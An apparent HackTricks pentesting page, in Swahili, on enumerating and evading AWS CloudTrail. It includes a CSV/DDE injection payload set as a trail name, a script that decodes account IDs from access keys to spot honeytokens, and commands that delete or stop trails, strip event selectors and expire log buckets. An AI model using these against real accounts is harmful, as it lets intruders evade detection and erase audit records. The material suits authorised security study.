AWS - CloudTrail Enum
Reading time: 13 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
CloudTrail
AWS CloudTrail inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS. Inakamata kumbukumbu za matukio za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata, na ufuatiliaji wa mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia ya mtumiaji na rasilimali, kuboresha mkao wa usalama, na kuhakikisha kufuata kanuni.
Kila tukio lililosajiliwa lina:
- Jina la API iliyoitwa:
eventName
- Huduma iliyoitwa:
eventSource
- Wakati:
eventTime
- Anuani ya IP:
SourceIPAddress
- Njia ya wakala:
userAgent
. Mifano: - Signing.amazonaws.com - Kutoka AWS Management Console
- console.amazonaws.com - Mtumiaji wa mzizi wa akaunti
- lambda.amazonaws.com - AWS Lambda
- Parameta za ombi:
requestParameters
- Vipengele vya majibu:
responseElements
Matukio yanaandikwa kwenye faili mpya ya kumbukumbu takriban kila dakika 5 katika faili la JSON, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu zinasambazwa kwa S3 takriban dakika 15 baada.
Kumbukumbu za CloudTrail zinaweza kuunganishwa kati ya akaunti na kati ya mikoa.
CloudTrail inaruhusu kutumia uaminifu wa faili za kumbukumbu ili uweze kuthibitisha kwamba faili zako za kumbukumbu hazijabadilika tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya digest. Hash ya sha-256 ya kumbukumbu mpya inaundwa kila saa.
Unapounda Trail, wachaguaji wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa.
Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Upande wa Server unatumika (SSE-S3) hivyo AWS itachambua yaliyomo kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.
Kumbukumbu zinahifadhiwa katika bakuli la S3 lenye muundo huu wa jina:
BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
- Jina la Bakuli:
aws-cloudtrail-logs-<accountid>-<random>
- Mfano:
aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/
Ndani ya kila folda, kila kumbukumbu itakuwa na jina linalofuata muundo huu: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz
Mkataba wa Kutoa Jina la Faili za Kumbukumbu
Zaidi ya hayo, faili za digest (kuangalia uaminifu wa faili) zitakuwa ndani ya bakuli moja katika:
Kuunganisha Kumbukumbu kutoka Akaunti Mbalimbali
- Unda Trail katika akaunti ya AWS ambapo unataka faili za kumbukumbu zipelekwe
- Weka ruhusa kwa bakuli la S3 la marudio linaloruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji
- Unda Trail mpya katika akaunti nyingine za AWS na uchague kutumia bakuli iliyoundwa katika hatua ya 1
Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3, huwezi kuunganisha kumbukumbu za CloudTrail kutoka akaunti nyingi katika Kumbukumbu za CloudWatch zinazomilikiwa na akaunti moja ya AWS.
caution
Kumbuka kwamba akaunti inaweza kuwa na Trails tofauti kutoka CloudTrail zilizowekwa zikihifadhi kumbukumbu sawa (au tofauti) katika bakuli tofauti.
Cloudtrail kutoka akaunti zote za org katika 1
Unapounda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli moja tu:
.png)
Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika mikoa yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kulinda).
Kuangalia Faili za Kumbukumbu
Unaweza kuangalia kwamba kumbukumbu hazijabadilishwa kwa kukimbia
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
Logs to CloudWatch
CloudTrail inaweza kutuma logi kwa CloudWatch kiotomatiki ili uweze kuweka arifa zinazokujulisha unapofanya shughuli za kutatanisha.
Kumbuka kwamba ili kuruhusu CloudTrail kutuma logi kwa CloudWatch, role inahitaji kuundwa inayoruhusu kitendo hicho. Ikiwezekana, inapendekezwa kutumia role ya AWS ya kawaida kufanya vitendo hivi. Role hii itaruhusu CloudTrail:
- CreateLogStream: Hii inaruhusu kuunda CloudWatch Logs log streams
- PutLogEvents: Toa logi za CloudTrail kwa CloudWatch Logs log stream
Event History
CloudTrail Event History inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa:
Insights
CloudTrail Insights kiotomatiki inafanya uchambuzi wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na inakujulisha kuhusu shughuli zisizo za kawaida. Kwa mfano, ikiwa kuna ongezeko la matukio ya TerminateInstance
ambayo yanatofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya kugundua na kujibu shughuli zisizo za kawaida za API kuwa rahisi kuliko hapo awali.
Insights zinahifadhiwa katika bucket sawa na logi za CloudTrail katika: BucketName/AWSLogs/AccountID/CloudTrail-Insight
Security
Control Name | Implementation Details |
---|---|
CloudTrail Log File Integrity |
|
Stop unauthorized access |
|
Prevent log files from being deleted |
|
Access Advisor
AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS CloudTrail ili kukusanya maarifa yake. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii kuonyesha wakati huduma zilipofikiwa kwa mara ya mwisho. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au role amefikia na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu kuboresha ruhusa, kwani wanaweza kubaini huduma ambazo hazijafikiwa kwa muda mrefu na huenda kupunguza ruhusa zisizo na mipaka kulingana na mifumo halisi ya matumizi.
tip
Hivyo, Access Advisor inatoa taarifa kuhusu ruhusa zisizo za lazima zinazotolewa kwa watumiaji ili admin aweze kuziondoa
.png)
Actions
Enumeration
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>
# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
CSV Injection
Inawezekana kufanya CVS injection ndani ya CloudTrail ambayo itatekeleza msimbo wowote ikiwa kumbukumbu zinasafirishwa kwa CSV na kufunguliwa na Excel.
Msimbo ufuatao utaunda kipengee cha kumbukumbu chenye jina mbaya la Trail kinachoshikilia payload:
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
Kwa maelezo zaidi kuhusu CSV Injections angalia ukurasa:
Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks
Kwa maelezo zaidi kuhusu mbinu hii maalum angalia https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/
Kupita Ugunduzi
HoneyTokens kupita
Honeytokens zinaundwa ili gundua uhamishaji wa taarifa nyeti. Katika kesi ya AWS, ni funguo za AWS ambazo matumizi yake yanakaguliwa, ikiwa kitu kinachochea kitendo na funguo hiyo, basi mtu lazima awe amepora funguo hiyo.
Hata hivyo, Honeytokens kama zile zinazoundwa na Canarytokens, SpaceCrab, SpaceSiren zinatumia jina la akaunti linalotambulika au kutumia ID ya akaunti ya AWS sawa kwa wateja wao wote. Hivyo, ikiwa unaweza kupata jina la akaunti na/au ID ya akaunti bila kufanya Cloudtrail iunde log yoyote, unaweza kujua kama funguo ni honeytoken au la.
Pacu ina sheria kadhaa za kugundua kama funguo inamhusu Canarytokens, SpaceCrab, SpaceSiren:
- Ikiwa
canarytokens.org
inaonekana katika jina la jukumu au ID ya akaunti534261010715
inaonekana katika ujumbe wa kosa. - Kuziangalia hivi karibuni, wanatumia akaunti
717712589309
na bado inacanarytokens.com
katika jina. - Ikiwa
SpaceCrab
inaonekana katika jina la jukumu katika ujumbe wa kosa - SpaceSiren inatumia uuids kuunda majina ya watumiaji:
[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
- Ikiwa jina linaonekana kama lililotengenezwa kwa bahati, kuna uwezekano mkubwa kwamba ni HoneyToken.
Pata ID ya akaunti kutoka kwa Key ID
Unaweza kupata ID ya Akaunti kutoka kwa encoded ndani ya funguo ya ufikiaji kama ilivyoelezwa hapa na kuangalia ID ya akaunti na orodha yako ya Honeytokens AWS:
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
Tazama maelezo zaidi katika utafiti wa asili.
Usizalishe logi
Tekniki yenye ufanisi zaidi kwa hili ni rahisi. Tumia tu funguo uliyopata kuingia kwenye huduma ndani ya akaunti yako ya washambuliaji. Hii itafanya CloudTrail izalishe logi ndani ya AKAUNTI YAKO YA AWS na si ndani ya waathirika.
Jambo ni kwamba matokeo yataonyesha kosa linaloashiria ID ya akaunti na jina la akaunti hivyo utaweza kuona kama ni Honeytoken.
Huduma za AWS bila logi
Katika siku za nyuma kulikuwa na baadhi ya huduma za AWS ambazo hazitumi logi kwa CloudTrail (pata orodha hapa). Baadhi ya huduma hizo zita jibu kwa kosa lililo na ARN ya funguo la jukumu ikiwa mtu asiyeidhinishwa (funguo ya honeytoken) atajaribu kuingia.
Kwa njia hii, mshambuliaji anaweza kupata ARN ya funguo bila kuanzisha logi yoyote. Katika ARN mshambuliaji anaweza kuona ID ya akaunti ya AWS na jina, ni rahisi kujua ID na majina ya akaunti za kampuni za HoneyToken, hivyo kwa njia hii mshambuliaji anaweza kubaini kama token ni HoneyToken.
caution
Kumbuka kwamba APIs zote za umma zilizogunduliwa kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo labda unahitaji kutafuta zako mwenyewe...
Kwa maelezo zaidi angalia utafiti wa asili.
Kufikia Miundombinu ya Tatu
Huduma fulani za AWS zita unda miundombinu fulani kama vile Maktaba au vikundi vya Kubernetes (EKS). Mtumiaji akizungumza moja kwa moja na huduma hizo (kama API ya Kubernetes) hataitumia API ya AWS, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya.
Hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail.
Maelezo zaidi katika:
Kubadilisha Mipangilio ya CloudTrail
Futa nyayo
aws cloudtrail delete-trail --name [trail-name]
Stop trails
aws cloudtrail stop-logging --name [trail-name]
Zima ufuatiliaji wa mikoa mingi
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
Zima Kurekodi kwa Wateule wa Matukio
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
Katika mfano wa kwanza, mteule wa tukio moja unapatikana kama array ya JSON yenye kitu kimoja. "ReadWriteType": "ReadOnly"
inaonyesha kwamba mteule wa tukio unapaswa kunasa matukio ya kusoma tu (hivyo maarifa ya CloudTrail hayataangalia matukio ya kuandika kwa mfano).
Unaweza kubinafsisha mteule wa tukio kulingana na mahitaji yako maalum.
Kufuta kumbukumbu kupitia sera ya maisha ya S3
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
Kubadilisha Mipangilio ya Bucket
- Futa bucket ya S3
- Badilisha sera ya bucket kukataa maandiko yoyote kutoka kwa huduma ya CloudTrail
- Ongeza sera ya maisha kwa bucket ya S3 kufuta vitu
- Zima funguo ya kms inayotumika kuandika kumbukumbu za CloudTrail
Cloudtrail ransomware
S3 ransomware
Unaweza kuunda funguo isiyo ya kawaida na kufanya CloudTrail kuandika data kwa funguo hiyo na kufuta funguo ya faragha ili maudhui ya CloudTrail hayawezi kurejeshwa.
Hii ni kimsingi S3-KMS ransomware iliyoelezwa katika:
KMS ransomware
Hii ni njia rahisi zaidi ya kutekeleza shambulio la awali na mahitaji tofauti ya ruhusa:
Marejeo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.